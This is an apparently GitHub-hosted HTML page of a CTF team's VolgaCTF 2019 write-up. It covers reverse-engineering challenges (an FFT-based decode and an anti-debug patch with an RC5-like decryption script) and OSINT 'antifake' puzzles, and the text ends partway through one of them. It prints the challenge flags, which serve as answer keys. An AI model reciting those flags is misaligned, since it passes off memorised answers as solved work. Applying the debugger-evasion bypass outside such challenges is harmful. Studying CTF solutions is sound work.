-
Notifications
You must be signed in to change notification settings - Fork 38
/
index.html
720 lines (606 loc) · 48.7 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
<!DOCTYPE HTML>
<!-- This page is modified from the template https://www.codeply.com/go/7XYosZ7VH5 by Carol Skelly (@iatek). -->
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>VolgaCTF 2019 Qualifier</title>
<link type="text/css" rel="stylesheet" href="../assets/css/github-markdown.css">
<link type="text/css" rel="stylesheet" href="../assets/css/pilcrow.css">
<link type="text/css" rel="stylesheet" href="../assets/css/hljs-github.min.css"/>
<link type="text/css" rel="stylesheet" href="../assets/css/bootstrap-4.0.0-beta.3.min.css">
<script type="text/javascript" src="../assets/js/jquery-3.3.1.slim.min.js"></script>
<script type="text/javascript" src="../assets/js/bootstrap-4.0.0-beta.3.min.js"></script>
<script type="text/javascript" src="../assets/js/popper-1.14.3.min.js"></script>
<script type="text/javascript" src="../assets/js/mathjax-2.7.4/MathJax.js?config=TeX-MML-AM_CHTML"></script>
</head>
<style>
body {
padding-top: 56px;
}
.sticky-offset {
top: 56px;
}
#body-row {
margin-left:0;
margin-right:0;
}
#sidebar-container {
min-height: 100vh;
background-color: #333;
padding: 0;
}
/* Sidebar sizes when expanded and expanded */
.sidebar-expanded {
width: 230px;
}
.sidebar-collapsed {
width: 60px;
}
/* Menu item*/
#sidebar-container .list-group a {
height: 50px;
color: white;
}
/* Submenu item*/
#sidebar-container .list-group .sidebar-submenu a {
height: 45px;
padding-left: 60px;
}
.sidebar-submenu {
font-size: 0.9rem;
}
/* Separators */
.sidebar-separator-title {
background-color: #333;
height: 35px;
}
.sidebar-separator {
background-color: #333;
height: 25px;
}
.logo-separator {
background-color: #333;
height: 60px;
}
/*
active scrollspy
*/
.list-group-item.active {
border-color: transparent;
border-left: #e69138 solid 4px;
}
/*
anchor padding top
https://stackoverflow.com/a/28824157
*/
:target:before {
content:"";
display:block;
height:56px; /* fixed header height*/
margin:-56px 0 0; /* negative fixed header height */
}
</style>
<script>
// https://stackoverflow.com/a/48330533
$(window).on('activate.bs.scrollspy', function (event) {
let active_collapse = $($('.list-group-item.active').parents()[0]);
$(".collapse").removeClass("show");
active_collapse.addClass("show");
let parent_menu = $('a[href="#' + active_collapse[0].id + '"]');
$('a[href^="#submenu"]').css("border-left", "");
parent_menu.css("border-left","#e69138 solid 4px");
});
// http://docs.mathjax.org/en/latest/tex.html#tex-and-latex-math-delimiters
MathJax.Hub.Config({
tex2jax: {
inlineMath: [['$','$'], ['\\(','\\)']],
processEscapes: true
}
});
</script>
<body style="position: relative;" data-spy="scroll" data-target=".sidebar-submenu" data-offset="70">
<nav class="navbar navbar-expand-md navbar-light bg-light fixed-top">
<button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarNavDropdown" aria-controls="navbarNavDropdown" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<a class="navbar-brand" href="https://github.com/balsn/ctf_writeup">
<img src="https://github.githubassets.com/images/modules/logos_page/GitHub-Mark.png" class="d-inline-block align-top" alt="" width="30" height="30">
<span class="menu-collapsed">balsn / ctf_writeup</span>
</a>
<div class="collapse navbar-collapse" id="navbarNavDropdown">
<ul class="navbar-nav my-2 my-lg-0">
<li class="nav-item dropdown d-sm-block d-md-none">
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
reverse
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#pytfm">pytfm</a>
<a class="dropdown-item" href="#jac2">jac2</a>
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
antifake
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#horrible-retelling">horrible-retelling</a>
<a class="dropdown-item" href="#fakegram-star">fakegram-star</a>
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
web
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#shop">shop</a>
<a class="dropdown-item" href="#shop-v2">shop-v2</a>
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
crypto
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#beard-party">beard-party</a>
<a class="dropdown-item" href="#blind">blind</a>
<a class="dropdown-item" href="#shifter">shifter</a>
<a class="dropdown-item" href="#pwn">pwn</a>
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
misc
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#joi">joi</a>
<a class="dropdown-item" href="#higher">higher</a>
</div>
</li>
</ul>
</div>
<div class="navbar-collapse collapse w-100 order-3 dual-collapse2">
<ul class="navbar-nav ml-auto">
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
</ul>
</div>
</nav>
<div class="row" id="body-row">
<div id="sidebar-container" class="sidebar-expanded d-none d-md-block col-2">
<ul class="list-group sticky-top sticky-offset">
<a href="#submenu0" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">reverse</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu0" class="collapse sidebar-submenu">
<a href="#pytfm" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">pytfm</span>
</a>
<a href="#jac2" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">jac2</span>
</a>
</div>
<a href="#submenu1" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">antifake</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu1" class="collapse sidebar-submenu">
<a href="#horrible-retelling" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">horrible-retelling</span>
</a>
<a href="#fakegram-star" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">fakegram-star</span>
</a>
</div>
<a href="#submenu2" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">web</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu2" class="collapse sidebar-submenu">
<a href="#shop" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">shop</span>
</a>
<a href="#shop-v2" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">shop-v2</span>
</a>
</div>
<a href="#submenu3" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">crypto</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu3" class="collapse sidebar-submenu">
<a href="#beard-party" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">beard-party</span>
</a>
<a href="#blind" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">blind</span>
</a>
<a href="#shifter" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">shifter</span>
</a>
<a href="#pwn" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">pwn</span>
</a>
</div>
<a href="#submenu4" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">misc</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu4" class="collapse sidebar-submenu">
<a href="#joi" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">joi</span>
</a>
<a href="#higher" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">higher</span>
</a>
</div>
</ul>
</div>
<div class="col-10 py-3">
<article class="markdown-body"><h1 id="volgactf-2019-qualifier"><a class="header-link" href="#volgactf-2019-qualifier"></a>VolgaCTF 2019 Qualifier</h1>
<h2 id="reverse"><a class="header-link" href="#reverse"></a>Reverse</h2>
<h3 id="pytfm"><a class="header-link" href="#pytfm"></a>PyTFM</h3>
<p>It's a python extension.
It use a lot SSE instructions when calculating the output.
IDA doesn't decompile those SSE instructions, so I decided to reverse dynamically.
The output looks like:</p>
<pre class="hljs"><code><span class="hljs-number">00000000008c9940</span> <span class="hljs-number">0000000000000000</span>
2568e69da46159c0 b46da5e5efdc43c0
654018b0da1854c0 74717816b37052c0
189342d067b948c0 b1b631bae75f58c0
fcffffffffff2fc0 <span class="hljs-number">0000000000405bc0</span>
76b339f91d7e30c0 299e0187fb335fc0
674018b0da185840 e4e2f02c66e14cc0
921e5604e0dd5940 a13c457f178541c0
<span class="hljs-number">0000000000405b40</span> <span class="hljs-number">0000000000000000</span>
911e5604e0dd5940 a83c457f17854140
654018b0da185840 e8e2f02c66e14c40
84b339f91d7e30c0 2b9e0187fb335f40
<span class="hljs-number">02000000000030c0</span> <span class="hljs-number">0000000000405b40</span>
1d9342d067b948c0 afb631bae75f5840
674018b0da1854c0 <span class="hljs-number">72717816b3705240</span>
2668e69da46159c0 af6da5e5efdc4340</code></pre><p>The <code>c0</code> and <code>40</code> suffixs look like double floating numbers.</p>
<p>There's some interesting property of the output:</p>
<pre class="hljs"><code>A = transform('\<span class="hljs-number">0</span>\<span class="hljs-number">0.</span>..A\<span class="hljs-number">0.</span>..\<span class="hljs-number">0</span>\<span class="hljs-number">0</span>')
B = transform('\<span class="hljs-number">0</span>\<span class="hljs-number">0.</span>..\<span class="hljs-number">0</span>B...\<span class="hljs-number">0</span>\<span class="hljs-number">0</span>')
C = transform('\<span class="hljs-number">0</span>\<span class="hljs-number">0.</span>..AB...\<span class="hljs-number">0</span>\<span class="hljs-number">0</span>')
A + B == C</code></pre><p>At this point, I try to use genetic algorithm to search a flag since it is not a strong cipher.
It says that the flag looks like <code>VolgaCTF{XXX_1s_........_......}</code>, but it is not accurate enough to find the flag.</p>
<p>Then I go back to look at the output, trying to figure out what it is.
The program calls a imported funtion <code>cexp</code> -- exponential of complex number.
So I group every two numbers:</p>
<pre class="hljs"><code>Output of '\0\0a\0...'
[ 9.70000000e<span class="hljs-string">+01</span>, 0.00000000e<span class="hljs-string">+00</span>]
[ 6.85893578e<span class="hljs-string">+01</span>, <span class="hljs-string">-6</span>.85893578e<span class="hljs-string">+01</span>]
[ 5.93953698e<span class="hljs-string">-15</span>, <span class="hljs-string">-9</span>.70000000e<span class="hljs-string">+01</span>]
[<span class="hljs-string">-6</span>.85893578e<span class="hljs-string">+01</span>, <span class="hljs-string">-6</span>.85893578e<span class="hljs-string">+01</span>]
[<span class="hljs-string">-9</span>.70000000e<span class="hljs-string">+01</span>, 0.00000000e<span class="hljs-string">+00</span>]
[<span class="hljs-string">-6</span>.85893578e<span class="hljs-string">+01</span>, 6.85893578e<span class="hljs-string">+01</span>]
[<span class="hljs-string">-5</span>.93953698e<span class="hljs-string">-15</span>, 9.70000000e<span class="hljs-string">+01</span>]
[ 6.85893578e<span class="hljs-string">+01</span>, 6.85893578e<span class="hljs-string">+01</span>]
[ 9.70000000e<span class="hljs-string">+01</span>, 0.00000000e<span class="hljs-string">+00</span>]
[ 6.85893578e<span class="hljs-string">+01</span>, <span class="hljs-string">-6</span>.85893578e<span class="hljs-string">+01</span>]
[ 5.93953698e<span class="hljs-string">-15</span>, <span class="hljs-string">-9</span>.70000000e<span class="hljs-string">+01</span>]
[<span class="hljs-string">-6</span>.85893578e<span class="hljs-string">+01</span>, <span class="hljs-string">-6</span>.85893578e<span class="hljs-string">+01</span>]
[<span class="hljs-string">-9</span>.70000000e<span class="hljs-string">+01</span>, 0.00000000e<span class="hljs-string">+00</span>]
[<span class="hljs-string">-6</span>.85893578e<span class="hljs-string">+01</span>, 6.85893578e<span class="hljs-string">+01</span>]
[<span class="hljs-string">-5</span>.93953698e<span class="hljs-string">-15</span>, 9.70000000e<span class="hljs-string">+01</span>]
[ 6.85893578e<span class="hljs-string">+01</span>, 6.85893578e<span class="hljs-string">+01</span>]
Output of '\0\0\0\0a\0...'
[ 9.70000000e<span class="hljs-string">+01</span>, 0.00000000e<span class="hljs-string">+00</span>]
[ 5.93953698e<span class="hljs-string">-15</span>, <span class="hljs-string">-9</span>.70000000e<span class="hljs-string">+01</span>]
[<span class="hljs-string">-9</span>.70000000e<span class="hljs-string">+01</span>, 0.00000000e<span class="hljs-string">+00</span>]
[<span class="hljs-string">-5</span>.93953698e<span class="hljs-string">-15</span>, 9.70000000e<span class="hljs-string">+01</span>]
[ 9.70000000e<span class="hljs-string">+01</span>, 0.00000000e<span class="hljs-string">+00</span>]
[ 5.93953698e<span class="hljs-string">-15</span>, <span class="hljs-string">-9</span>.70000000e<span class="hljs-string">+01</span>]
[<span class="hljs-string">-9</span>.70000000e<span class="hljs-string">+01</span>, 0.00000000e<span class="hljs-string">+00</span>]
[<span class="hljs-string">-5</span>.93953698e<span class="hljs-string">-15</span>, 9.70000000e<span class="hljs-string">+01</span>]
[ 9.70000000e<span class="hljs-string">+01</span>, 0.00000000e<span class="hljs-string">+00</span>]
[ 5.93953698e<span class="hljs-string">-15</span>, <span class="hljs-string">-9</span>.70000000e<span class="hljs-string">+01</span>]
[<span class="hljs-string">-9</span>.70000000e<span class="hljs-string">+01</span>, 0.00000000e<span class="hljs-string">+00</span>]
[<span class="hljs-string">-5</span>.93953698e<span class="hljs-string">-15</span>, 9.70000000e<span class="hljs-string">+01</span>]
[ 9.70000000e<span class="hljs-string">+01</span>, 0.00000000e<span class="hljs-string">+00</span>]
[ 5.93953698e<span class="hljs-string">-15</span>, <span class="hljs-string">-9</span>.70000000e<span class="hljs-string">+01</span>]
[<span class="hljs-string">-9</span>.70000000e<span class="hljs-string">+01</span>, 0.00000000e<span class="hljs-string">+00</span>]
[<span class="hljs-string">-5</span>.93953698e<span class="hljs-string">-15</span>, 9.70000000e<span class="hljs-string">+01</span>]</code></pre><p>It looks like a sinusoid where the amplitude is the charcode,
and the frequency is the position of that char.
Running FFT on the output will recover the flag.</p>
<h3 id="jac2"><a class="header-link" href="#jac2"></a>Jac2</h3>
<ul class="list">
<li>Patch anti-debug at <code>sub_401794</code>:</li>
</ul>
<pre class="hljs"><code>__<span class="hljs-function">int64 <span class="hljs-title">sub_401794</span><span class="hljs-params">()</span>
</span>{
<span class="hljs-keyword">if</span> ( getenv(<span class="hljs-string">"LD_PRELOAD"</span>) != <span class="hljs-number">0L</span>L )
<span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);
<span class="hljs-keyword">if</span> ( ptrace(<span class="hljs-number">0</span>, <span class="hljs-number">0L</span>L, <span class="hljs-number">0L</span>L, <span class="hljs-number">0L</span>L) < <span class="hljs-number">0</span> )
<span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);
<span class="hljs-keyword">return</span> (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span>)(dword_6033A4++ + <span class="hljs-number">1</span>);
}</code></pre><ul class="list">
<li>Reverse it and implement decoding:</li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> ctypes <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> re
<span class="hljs-comment"># VolgaCTF{ptr@ce_ant1_r3verse_@ll_in_va1n}</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">rol</span><span class="hljs-params">( n , c )</span>:</span>
c %= <span class="hljs-number">32</span>
n &= <span class="hljs-number">0xffffffff</span>
r = ( ( n << c ) & <span class="hljs-number">0xffffffff</span> ) + ( n >> ( <span class="hljs-number">32</span> - c ) )
<span class="hljs-keyword">return</span> c_int( r ).value
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">ror</span><span class="hljs-params">( n , c )</span>:</span>
c %= <span class="hljs-number">32</span>
n &= <span class="hljs-number">0xffffffff</span>
r = ( n >> c ) + ( ( n << ( <span class="hljs-number">32</span> - c ) ) & <span class="hljs-number">0xffffffff</span> )
<span class="hljs-keyword">return</span> c_int( r ).value
t = [<span class="hljs-number">0x04</span>, <span class="hljs-number">0x08</span>, <span class="hljs-number">0x15</span>, <span class="hljs-number">0x16</span>, <span class="hljs-number">0x23</span>, <span class="hljs-number">0x42</span>, <span class="hljs-number">0xA0</span>, <span class="hljs-number">0x15</span>, <span class="hljs-number">0x33</span>, <span class="hljs-number">0x97</span>, <span class="hljs-number">0x57</span>, <span class="hljs-number">0x1D</span>, <span class="hljs-number">0x7F</span>, <span class="hljs-number">0x45</span>, <span class="hljs-number">0x9C</span>, <span class="hljs-number">0x25</span> , <span class="hljs-number">0x0</span>]
r = [<span class="hljs-number">0</span>] * <span class="hljs-number">26</span>
s = []
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">func2</span><span class="hljs-params">( _a , _b )</span>:</span>
<span class="hljs-keyword">global</span> r
a = s[ _a ]
b = s[ _b ]
n = r[<span class="hljs-number">0</span>] + a
m = r[<span class="hljs-number">1</span>] + b
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range( <span class="hljs-number">1</span> , <span class="hljs-number">12</span> + <span class="hljs-number">1</span> ):
n = rol( m ^ n , m & <span class="hljs-number">0x1f</span> ) + r[ <span class="hljs-number">2</span> * i ]
m = rol( n ^ m , n & <span class="hljs-number">0x1f</span> ) + r[ <span class="hljs-number">2</span> * i + <span class="hljs-number">1</span> ]
s[_a] = n
s[_b] = m
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">de_func2</span><span class="hljs-params">( _a , _b )</span>:</span>
<span class="hljs-keyword">global</span> r
n = s[_a]
m = s[_b]
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range( <span class="hljs-number">12</span> , <span class="hljs-number">0</span> , <span class="hljs-number">-1</span> ):
m = ror( m - r[ <span class="hljs-number">2</span> * i + <span class="hljs-number">1</span> ] , n & <span class="hljs-number">0x1f</span> ) ^ n
n = ror( n - r[ <span class="hljs-number">2</span> * i ] , m & <span class="hljs-number">0x1f</span> ) ^ m
s[_a] = c_int( n - r[<span class="hljs-number">0</span>] ).value
s[_b] = c_int( m - r[<span class="hljs-number">1</span>] ).value
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">encode</span><span class="hljs-params">()</span>:</span>
<span class="hljs-keyword">global</span> t , r , s
ptr = [<span class="hljs-number">0</span>] * <span class="hljs-number">4</span>
a = <span class="hljs-number">4</span>
b = <span class="hljs-number">4</span>
buf = [<span class="hljs-number">0</span>] * <span class="hljs-number">4</span>
ptr = [ <span class="hljs-number">0x8faea09e</span> , <span class="hljs-number">0x60b671a</span> , <span class="hljs-number">0x606fe6cc</span> , <span class="hljs-number">0x30bb606b</span> ]
r[<span class="hljs-number">0</span>] = c_int( <span class="hljs-number">0xB7E15163</span> ).value
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range( <span class="hljs-number">1</span> , <span class="hljs-number">26</span> ):
r[i] = c_int( r[ i - <span class="hljs-number">1</span> ] - <span class="hljs-number">0x61C88647</span> ).value
j , i , p , q , n = <span class="hljs-number">0</span> , <span class="hljs-number">0</span> , <span class="hljs-number">0</span> , <span class="hljs-number">0</span> , <span class="hljs-number">26</span>
m = max( n , b )
<span class="hljs-keyword">for</span> k <span class="hljs-keyword">in</span> range( <span class="hljs-number">1</span> , <span class="hljs-number">3</span> * m + <span class="hljs-number">1</span> ):
r[i] = rol( c_int( q + r[i] + p ).value , <span class="hljs-number">3</span> )
q = r[i]
i = ( i + <span class="hljs-number">1</span> ) % n
ptr[j] = rol( c_int( q + ptr[j] + p ).value , c_int( q + p ).value & <span class="hljs-number">0x1f</span> )
p = ptr[j]
j = ( j + <span class="hljs-number">1</span> ) % b
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range( ( len( s ) + <span class="hljs-number">7</span> ) >> <span class="hljs-number">3</span> ):
func2( <span class="hljs-number">2</span> * i , <span class="hljs-number">2</span> * i + <span class="hljs-number">1</span> )
s = <span class="hljs-string">'yuawn777'</span>
s = [ u32( _ ) <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> re.findall( <span class="hljs-string">'....'</span> , s ) ]
encode()
<span class="hljs-comment"># decode</span>
s = open( <span class="hljs-string">'./data.jac2'</span> ).read()
s = [ u32( _ ) <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> re.findall( <span class="hljs-string">'....'</span> , s ) ]
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range( len(s) >> <span class="hljs-number">1</span> ):
de_func2( <span class="hljs-number">2</span> * i , <span class="hljs-number">2</span> * i + <span class="hljs-number">1</span> )
flag = <span class="hljs-string">''</span>.join( p32( _ ) <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> s ).strip(<span class="hljs-string">'\0'</span>)
<span class="hljs-keyword">print</span> flag</code></pre><h2 id="antifake"><a class="header-link" href="#antifake"></a>antifake</h2>
<h3 id="horrible-retelling"><a class="header-link" href="#horrible-retelling"></a>Horrible retelling</h3>
<pre class="hljs"><code>Scientists found <span class="hljs-keyword">the</span> oldest telescope This tool was used <span class="hljs-keyword">by</span> seafarers <span class="hljs-built_in">from</span> Portuge. British researchers report that scientists explore Arabian sea bottom. There are <span class="hljs-keyword">a</span> lot <span class="hljs-keyword">of</span> wrecks. Last week <span class="hljs-literal">one</span> <span class="hljs-keyword">of</span> <span class="hljs-keyword">the</span> Scientist journal published <span class="hljs-keyword">an</span> article about discovering <span class="hljs-keyword">a</span> special device. It’s looks like big coin <span class="hljs-keyword">with</span> <span class="hljs-keyword">a</span> hole <span class="hljs-keyword">in</span> its centre. Historians classed <span class="hljs-keyword">it</span> <span class="hljs-keyword">as</span> <span class="hljs-keyword">an</span> oldest device <span class="hljs-keyword">of</span> its tipe. Researchers suggest that <span class="hljs-keyword">it</span> was used <span class="hljs-keyword">in</span> <span class="hljs-keyword">middle</span> ages <span class="hljs-keyword">or</span> mayby earlier. One <span class="hljs-keyword">of</span> <span class="hljs-keyword">the</span> most special detail <span class="hljs-keyword">of</span> telescope is <span class="hljs-keyword">a</span> pattern rounds telescope. It includes <span class="hljs-keyword">a</span> Picture <span class="hljs-keyword">of</span> <span class="hljs-keyword">the</span> Earth. At <span class="hljs-keyword">the</span> turn <span class="hljs-keyword">of</span> <span class="hljs-keyword">the</span> Middle ages that was associated <span class="hljs-keyword">with</span> <span class="hljs-keyword">a</span> Portuguese king. There is only <span class="hljs-literal">one</span> same devise has been fond <span class="hljs-keyword">before</span>. But researchers don’t sure about age <span class="hljs-keyword">of</span> <span class="hljs-keyword">it</span>. Altogether there are more tahn hundred same artifacts. New <span class="hljs-literal">one</span> isn’t most old. But its’s unique <span class="hljs-keyword">with</span> its decoration. Besides <span class="hljs-keyword">in</span> <span class="hljs-keyword">the</span> latest Middle ages navigator sed more precise devices</code></pre><p>Just paste it in google search, and you'll find a website:
<a href="https://www.ancient-origins.net/news-history-archaeology/oldest-astrolabe-0011641">https://www.ancient-origins.net/news-history-archaeology/oldest-astrolabe-0011641</a></p>
<p>Then you realize the paragraph is talking about <code>astrolabe</code> not <code>telescope</code>.</p>
<p><code>VolgaCTF{astrolabe}</code></p>
<h3 id="fakegram-star"><a class="header-link" href="#fakegram-star"></a>Fakegram star</h3>
<p>Find out difference between the fake news and origin news.</p>
<pre class="hljs"><code>- theflag
[https:<span class="hljs-regexp">//</span>www.instagram.com<span class="hljs-regexp">/p/</span>BvmItadA1Fw<span class="hljs-regexp">/](https:/</span><span class="hljs-regexp">/www.instagram.com/</span>p<span class="hljs-regexp">/BvmItadA1Fw/</span>)
[https:<span class="hljs-regexp">//</span>www.instagram.com<span class="hljs-regexp">/p/</span>BveGz6Sl8A3<span class="hljs-regexp">/](https:/</span><span class="hljs-regexp">/www.instagram.com/</span>p<span class="hljs-regexp">/BveGz6Sl8A3/</span>)
- is
[https:<span class="hljs-regexp">//</span>www.instagram.com<span class="hljs-regexp">/p/</span>BvmIKXDAVr8<span class="hljs-regexp">/](https:/</span><span class="hljs-regexp">/www.instagram.com/</span>p<span class="hljs-regexp">/BvmIKXDAVr8/</span>)
[https:<span class="hljs-regexp">//</span>www.instagram.com<span class="hljs-regexp">/p/</span>BvJex34Fe8Z<span class="hljs-regexp">/](https:/</span><span class="hljs-regexp">/www.instagram.com/</span>p<span class="hljs-regexp">/BvJex34Fe8Z/</span>)
- we
[https:<span class="hljs-regexp">//</span>www.instagram.com<span class="hljs-regexp">/p/</span>BvmIFrdAdpK<span class="hljs-regexp">/](https:/</span><span class="hljs-regexp">/www.instagram.com/</span>p<span class="hljs-regexp">/BvmIFrdAdpK/</span>)
[https:<span class="hljs-regexp">//</span>www.instagram.com<span class="hljs-regexp">/p/</span>BvQ8FRklkAK<span class="hljs-regexp">/](https:/</span><span class="hljs-regexp">/www.instagram.com/</span>p<span class="hljs-regexp">/BvQ8FRklkAK/</span>)
- ask
[https:<span class="hljs-regexp">//</span>www.instagram.com<span class="hljs-regexp">/p/</span>BupDX8tn4DK<span class="hljs-regexp">/](https:/</span><span class="hljs-regexp">/www.instagram.com/</span>p<span class="hljs-regexp">/BupDX8tn4DK/</span>)
